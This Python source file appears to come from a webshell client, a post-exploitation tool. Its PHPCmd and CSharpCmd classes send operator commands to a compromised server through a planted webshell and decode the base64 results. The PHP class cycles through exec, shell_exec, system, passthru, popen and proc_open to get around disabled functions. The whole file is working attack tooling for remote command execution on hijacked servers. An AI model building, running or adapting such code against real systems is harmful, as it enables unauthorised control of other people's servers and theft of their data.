from api import logger, colour
from api.exploit import WebshellExploit
import base64
import json

class CmdOnServer:
    def __init__(self, exp:WebshellExploit, method:str):

        self.method = method
        self.exp = exp
    
    def exec(self, cmdline: str)->str:
        '''在服务器上执行命令并获取结果
        '''
        raise NotImplementedError()

    @property
    def available_methods(self)->tuple:
        return ()

class PHPCmd(CmdOnServer):

    def exec(self, cmdline: str)->str:
        '''在服务器上执行命令并获取结果
        '''
        fl = [self.method]
        if self.method in ('auto', None, ''):
            fl = ['exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'wscript']
        for f in fl:
            tmp = self.exp.evalfile(f'php/{f}', cmd=cmdline, pwd=self.exp.session.pwd)
            if not tmp.is_success():
                return None
            r = json.loads(tmp.data)
            if r['code'] == 0:
                continue
            self.method = f
            result = base64.b64decode(r['result'].encode()).decode(self.exp.session.client.options.encoding, 'ignore')
            return result

        logger.warning('No way to exec command!Maybe all functions is disabled.')
        return None

    @property
    def available_methods(self)->tuple:
        return ('exec', 'shell_exec', 'system', 'passthru', 'popen', 'proc_open', 'wscript', 'auto')

class CSharpCmd(CmdOnServer):

    def exec(self, cmdline: str)->str:
        '''在服务器上执行命令并获取结果
        '''
        ret = self.exp.evalfile('csharp/exec', pwd=self.exp.session.pwd, cmd=cmdline, shell=self.method)
        if not ret.is_success():
            return None
        ret = json.loads(ret.data)
        if ret['code'] == 1:
            return base64.b64decode(ret['result'].encode()).decode(self.exp.session.client.options.encoding, 'ignore')

        return None

    @property
    def available_methods(self)->tuple:
        return ('shell', 'process')